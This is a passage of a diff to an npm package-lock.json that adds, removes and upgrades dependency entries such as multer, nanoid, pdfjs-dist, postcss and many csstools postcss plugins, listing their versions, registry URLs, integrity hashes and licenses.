"^2.3.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/mongodb-connection-string-url/node_modules/whatwg-url": { - "version": "14.2.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", - "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", - "dependencies": { - "tr46": "^5.1.0", - "webidl-conversions": "^7.0.0" - }, - "engines": { - "node": ">=18" - } - }, "node_modules/mongodb-memory-server": { "version": "10.1.4", "resolved": "https://registry.npmjs.org/mongodb-memory-server/-/mongodb-memory-server-10.1.4.tgz", @@ -33748,6 +34597,25 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" }, + "node_modules/multer": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/multer/-/multer-2.1.1.tgz", + "integrity": "sha512-mo+QTzKlx8R7E5ylSXxWzGoXoZbOsRMpyitcht8By2KHvMbf3tjwosZ/Mu/XYU6UuJ3VZnODIrak5ZrPiPyB6A==", + "license": "MIT", + "dependencies": { + "append-field": "^1.0.0", + "busboy": "^1.6.0", + "concat-stream": "^2.0.0", + "type-is": "^1.6.18" + }, + "engines": { + "node": ">= 10.16.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/mustache": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/mustache/-/mustache-4.2.0.tgz", @@ -33767,15 +34635,16 @@ } }, "node_modules/nanoid": { - "version": "3.3.8", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.8.tgz", - "integrity": "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==", + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/ai" } ], + "license": "MIT", "bin": { "nanoid": "bin/nanoid.cjs" }, @@ -33905,6 +34774,13 @@ "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", "dev": true }, + "node_modules/node-readable-to-web-readable-stream": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/node-readable-to-web-readable-stream/-/node-readable-to-web-readable-stream-0.4.2.tgz", + "integrity": "sha512-/cMZNI34v//jUTrI+UIo4ieHAB5EZRY/+7OmXZgBxaWBMcW2tGdceIw06RFxWxrKZ5Jp3sI2i5TsRo+CBhtVLQ==", + "license": "MIT", + "optional": true + }, "node_modules/node-releases": { "version": "2.0.27", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", @@ -34076,15 +34952,6 @@ "node": ">=0.10.0" } }, - "node_modules/normalize-range": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", - "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/normalize-url": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", @@ -34124,10 +34991,11 @@ } }, "node_modules/nwsapi": { - "version": "2.2.7", - "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz", - "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==", - "dev": true + "version": "2.2.23", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz", + "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==", + "dev": true, + "license": "MIT" }, "node_modules/oauth": { "version": "0.10.0", @@ -34388,6 +35256,12 @@ "integrity": "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw==", "dev": true }, + "node_modules/option": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/option/-/option-0.2.4.tgz", + "integrity": "sha512-pkEqbDyl8ou5cpq+VsnQbe/WlEy5qS7xPzMS1U55OCG9KPvwFD46zDbxQIj3egJSFc3D+XhYOPUzz49zQAVy7A==", + "license": "BSD-2-Clause" + }, "node_modules/optionator": { "version": "0.9.3", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", @@ -34540,7 +35414,6 @@ "version": "1.0.11", "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", - "dev": true, "license": "(MIT AND Zlib)" }, "node_modules/parent-module": { @@ -34819,7 +35692,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - "dev": true, "engines": { "node": ">=0.10.0" } @@ -34869,15 +35741,6 @@ "node": ">=16" } }, - "node_modules/path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, - "engines": { - "node": ">=8" - } - }, "node_modules/pathe": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", @@ -34907,16 +35770,17 @@ "node": ">= 0.10" } }, - "node_modules/peek-readable": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/peek-readable/-/peek-readable-5.0.0.tgz", - "integrity": "sha512-YtCKvLUOvwtMGmrniQPdO7MwPjgkFBtFIrmfSbYmYuq3tKDV/mcfAhBth1+C3ru7uXIZasc/pHnb+YDYNkkj4A==", + "node_modules/pdfjs-dist": { + "version": "5.4.624", + "resolved": "https://registry.npmjs.org/pdfjs-dist/-/pdfjs-dist-5.4.624.tgz", + "integrity": "sha512-sm6TxKTtWv1Oh6n3C6J6a8odejb5uO4A4zo/2dgkHuC0iu8ZMAXOezEODkVaoVp8nX1Xzr+0WxFJJmUr45hQzg==", + "license": "Apache-2.0", "engines": { - "node": ">=14.16" + "node": ">=20.16.0 || >=22.3.0" }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" + "optionalDependencies": { + "@napi-rs/canvas": "^0.1.88", + "node-readable-to-web-readable-stream": "^0.4.2" } }, "node_modules/pend": { @@ -35133,9 +35997,9 @@ } }, "node_modules/postcss": { - "version": "8.5.3", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.3.tgz", - "integrity": "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==", + "version": "8.5.8", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.8.tgz", + "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==", "funding": [ { "type": "opencollective", @@ -35152,7 +36016,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.8", + "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, @@ -35161,24 +36025,45 @@ } }, "node_modules/postcss-attribute-case-insensitive": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-6.0.2.tgz", - "integrity": "sha512-IRuCwwAAQbgaLhxQdQcIIK0dCVXg3XDUnzgKD8iwdiYdwU4rMWRWyl/W9/0nA4ihVpq5pyALiHB2veBJ0292pw==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-8.0.0.tgz", + "integrity": "sha512-fovIPEV35c2JzVXdmP+sp2xirbBMt54J+upU8u6TSj410kUU5+axgEzvBBSAX8KCybze8CFCelzFAw/FfWg2TA==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", "dependencies": { - "postcss-selector-parser": "^6.0.10" + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, + "node_modules/postcss-attribute-case-insensitive/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/postcss-calc": { "version": "8.2.4", "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", @@ -35209,9 +36094,9 @@ } }, "node_modules/postcss-color-functional-notation": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-5.1.0.tgz", - "integrity": "sha512-w2R4py6zrVE1U7FwNaAc76tNQlG9GLkrBbcFw+VhUjyDDiV28vfZG+l4LyPmpoQpeSJVtu8VgNjE8Jv5SpC7dQ==", + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-8.0.2.tgz", + "integrity": "sha512-tbmkk6teYpJzFcGwPIhN1gkvxqGHvNx2PMb8Y3S5Ktyn7xOlvD98XzQ99MFY5mAyvXWclDG+BgoJKYJXFJOp5Q==", "dev": true, "funding": [ { @@ -35223,21 +36108,25 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/postcss-progressive-custom-properties": "^2.3.0", - "postcss-value-parser": "^4.2.0" + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/postcss-color-hex-alpha": { - "version": "9.0.3", - "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-9.0.3.tgz", - "integrity": "sha512-7sEHU4tAS6htlxun8AB9LDrCXoljxaC34tFVRlYKcvO+18r5fvGiXgv5bQzN40+4gXLCyWSMRK5FK31244WcCA==", + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-11.0.0.tgz", + "integrity": "sha512-NCGa6vjIyrjosz9GqRxVKbONBklz5TeipYqTJp3IqbnBWlBq5e5EMtG6MaX4vqk9LzocPfMQkuRK9tfk+OQuKg==", "dev": true, "funding": [ { @@ -35249,30 +36138,40 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "dependencies": { + "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/postcss-color-rebeccapurple": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-8.0.2.tgz", - "integrity": "sha512-xWf/JmAxVoB5bltHpXk+uGRoGFwu4WDAR7210el+iyvTdqiKpDhtcT8N3edXMoVJY0WHFMrKMUieql/wRNiXkw==", + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-11.0.0.tgz", + "integrity": "sha512-g9561mx7cbdqx7XeO/L+lJzVlzu7bICyXr72efBVKZGxIhvBBJf9fGXn3Cb6U4Bwh3LbzQO2e9NWBLVYdX5Eag==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { + "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" @@ -35315,9 +36214,9 @@ } }, "node_modules/postcss-custom-media": { - "version": "9.1.5", - "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-9.1.5.tgz", - "integrity": "sha512-GStyWMz7Qbo/Gtw1xVspzVSX8eipgNg4lpsO3CAeY4/A1mzok+RV6MCv3fg62trWijh/lYEj6vps4o8JcBBpDA==", + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-12.0.1.tgz", + "integrity": "sha512-66syE14+VeqkUf0rRX0bvbTCbNRJF132jD+ceo8th1dap2YJEAqpdh5uG98CE3IbgHT7m9XM0GIlOazNWqQdeA==", "dev": true, "funding": [ { @@ -35329,23 +36228,24 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "dependencies": { - "@csstools/cascade-layer-name-parser": "^1.0.2", - "@csstools/css-parser-algorithms": "^2.2.0", - "@csstools/css-tokenizer": "^2.1.1", - "@csstools/media-query-list-parser": "^2.1.1" + "@csstools/cascade-layer-name-parser": "^3.0.0", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/media-query-list-parser": "^5.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/postcss-custom-properties": { - "version": "13.3.4", - "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-13.3.4.tgz", - "integrity": "sha512-9YN0gg9sG3OH+Z9xBrp2PWRb+O4msw+5Sbp3ZgqrblrwKspXVQe5zr5sVqi43gJGwW/Rv1A483PRQUzQOEewvA==", + "version": "15.0.1", + "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-15.0.1.tgz", + "integrity": "sha512-cuyq8sd8dLY0GLbelz1KB8IMIoDECo6RVXMeHeXY2Uw3Q05k/d1GVITdaKLsheqrHbnxlwxzSRZQQ5u+rNtbMg==", "dev": true, "funding": [ { @@ -35357,23 +36257,25 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "dependencies": { - "@csstools/cascade-layer-name-parser": "^1.0.7", - "@csstools/css-parser-algorithms": "^2.5.0", - "@csstools/css-tokenizer": "^2.2.3", + "@csstools/cascade-layer-name-parser": "^3.0.0", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/postcss-custom-selectors": { - "version": "7.1.6", - "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-7.1.6.tgz", - "integrity": "sha512-svsjWRaxqL3vAzv71dV0/65P24/FB8TbPX+lWyyf9SZ7aZm4S4NhCn7N3Bg+Z5sZunG3FS8xQ80LrCU9hb37cw==", + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-9.0.1.tgz", + "integrity": "sha512-2XBELy4DmdVKimChfaZ2id9u9CSGYQhiJ53SvlfBvMTzLMW2VxuMb9rHsMSQw9kRq/zSbhT5x13EaK8JSmK8KQ==", "dev": true, "funding": [ { @@ -35385,38 +36287,74 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "dependencies": { - "@csstools/cascade-layer-name-parser": "^1.0.5", - "@csstools/css-parser-algorithms": "^2.3.2", - "@csstools/css-tokenizer": "^2.2.1", - "postcss-selector-parser": "^6.0.13" + "@csstools/cascade-layer-name-parser": "^3.0.0", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, - "node_modules/postcss-dir-pseudo-class": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-7.0.2.tgz", - "integrity": "sha512-cMnslilYxBf9k3qejnovrUONZx1rXeUZJw06fgIUBzABJe3D2LiLL5WAER7Imt3nrkaIgG05XZBztueLEf5P8w==", + "node_modules/postcss-custom-selectors/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", "dev": true, + "license": "MIT", "dependencies": { - "postcss-selector-parser": "^6.0.10" + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=4" + } + }, + "node_modules/postcss-dir-pseudo-class": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-10.0.0.tgz", + "integrity": "sha512-DmtIzULpyC8XaH4b5AaUgt4Jic4QmrECqidNCdR7u7naQFdnxX80YI06u238a+ZVRXwURDxVzy0s/UQnWmpVeg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.1.1" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, + "node_modules/postcss-dir-pseudo-class/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/postcss-discard-comments": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", @@ -35470,9 +36408,9 @@ } }, "node_modules/postcss-double-position-gradients": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-4.0.4.tgz", - "integrity": "sha512-nUAbUXURemLXIrl4Xoia2tiu5z/n8sY+BVDZApoeT9BlpByyrp02P/lFCRrRvZ/zrGRE+MOGLhk8o7VcMCtPtQ==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-7.0.0.tgz", + "integrity": "sha512-Msr/dxj8Os7KLJE5Hdhvprwm3K5Zrh1KTY0eFN3ngPKNkej/Usy4BM9JQmqE6CLAkDpHoQVsi4snbL72CPt6qg==", "dev": true, "funding": [ { @@ -35484,55 +36422,99 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/postcss-progressive-custom-properties": "^2.3.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/postcss-focus-visible": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-8.0.2.tgz", - "integrity": "sha512-f/Vd+EC/GaKElknU59esVcRYr/Y3t1ZAQyL4u2xSOgkDy4bMCmG7VP5cGvj3+BTLNE9ETfEuz2nnt4qkZwTTeA==", + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-11.0.0.tgz", + "integrity": "sha512-VG1a9kBKizUBWS66t5xyB4uLONBnvZLCmZXxT40FALu8EF0QgVZBYy5ApC0KhmpHsv+pvHMJHB3agKHwmocWjw==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { - "postcss-selector-parser": "^6.0.10" + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, - "node_modules/postcss-focus-within": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-7.0.2.tgz", - "integrity": "sha512-AHAJ89UQBcqBvFgQJE9XasGuwMNkKsGj4D/f9Uk60jFmEBHpAL14DrnSk3Rj+SwZTr/WUG+mh+Rvf8fid/346w==", + "node_modules/postcss-focus-visible/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", "dev": true, + "license": "MIT", "dependencies": { - "postcss-selector-parser": "^6.0.10" + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=4" + } + }, + "node_modules/postcss-focus-within": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-10.0.0.tgz", + "integrity": "sha512-dvql0fzUTG+gcJYp+KTbag5vAjuo94LDYZHkqDV1rnf5gPGer1v/SrmIZBdvKU8moep3HbcbujqGjzSb3DL53Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.1.1" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, + "node_modules/postcss-focus-within/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/postcss-font-variant": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz", @@ -35543,35 +36525,50 @@ } }, "node_modules/postcss-gap-properties": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-4.0.1.tgz", - "integrity": "sha512-V5OuQGw4lBumPlwHWk/PRfMKjaq/LTGR4WDTemIMCaMevArVfCCA9wBJiL1VjDAd+rzuCIlkRoRvDsSiAaZ4Fg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-7.0.0.tgz", + "integrity": "sha512-PSDF2QoZMRUbsINvXObQgxx4HExRP85QTT8qS/YN9fBsCPWCqUuwqAD6E6PNp0BqL/jU1eyWUBORaOK/J/9LDA==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/postcss-image-set-function": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-5.0.2.tgz", - "integrity": "sha512-Sszjwo0ubETX0Fi5MvpYzsONwrsjeabjMoc5YqHvURFItXgIu3HdCjcVuVKGMPGzKRhgaknmdM5uVWInWPJmeg==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-8.0.0.tgz", + "integrity": "sha512-rEGNkOkNusf4+IuMmfEoIdLuVmvbExGbmG+MIsyV6jR5UaWSoyPcAYHV/PxzVDCmudyF+2Nh/o6Ub2saqUdnuA==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { + "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" @@ -35593,15 +36590,6 @@ "postcss": "^8.0.0" } }, - "node_modules/postcss-initial": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz", - "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==", - "dev": true, - "peerDependencies": { - "postcss": "^8.0.0" - } - }, "node_modules/postcss-js": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", @@ -35621,9 +36609,9 @@ } }, "node_modules/postcss-lab-function": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-5.2.3.tgz", - "integrity": "sha512-fi32AYKzji5/rvgxo5zXHFvAYBw0u0OzELbeCNjEZVLUir18Oj+9RmNphtM8QdLUaUnrfx8zy8vVYLmFLkdmrQ==", + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-8.0.2.tgz", + "integrity": "sha512-1ZIAh8ODhZdnAb09Aq2BTenePKS1G/kUR0FwvzkQDfFtSOV64Ycv27YvV11fDycEvhIcEmgYkLABXKRiWcXRuA==", "dev": true, "funding": [ { @@ -35635,14 +36623,16 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/css-color-parser": "^1.2.0", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1", - "@csstools/postcss-progressive-custom-properties": "^2.3.0" + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" @@ -35690,32 +36680,10 @@ "node": ">=14" } }, - "node_modules/postcss-loader": { - "version": "7.3.4", - "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-7.3.4.tgz", - "integrity": "sha512-iW5WTTBSC5BfsBJ9daFMPVrLT36MrNiC6fqOZTTaHjBNX6Pfd5p+hSBqe/fEeNd7pc13QiAyGt7VdGMw4eRC4A==", - "dev": true, - "dependencies": { - "cosmiconfig": "^8.3.5", - "jiti": "^1.20.0", - "semver": "^7.5.4" - }, - "engines": { - "node": ">= 14.15.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - }, - "peerDependencies": { - "postcss": "^7.0.0 || ^8.0.1", - 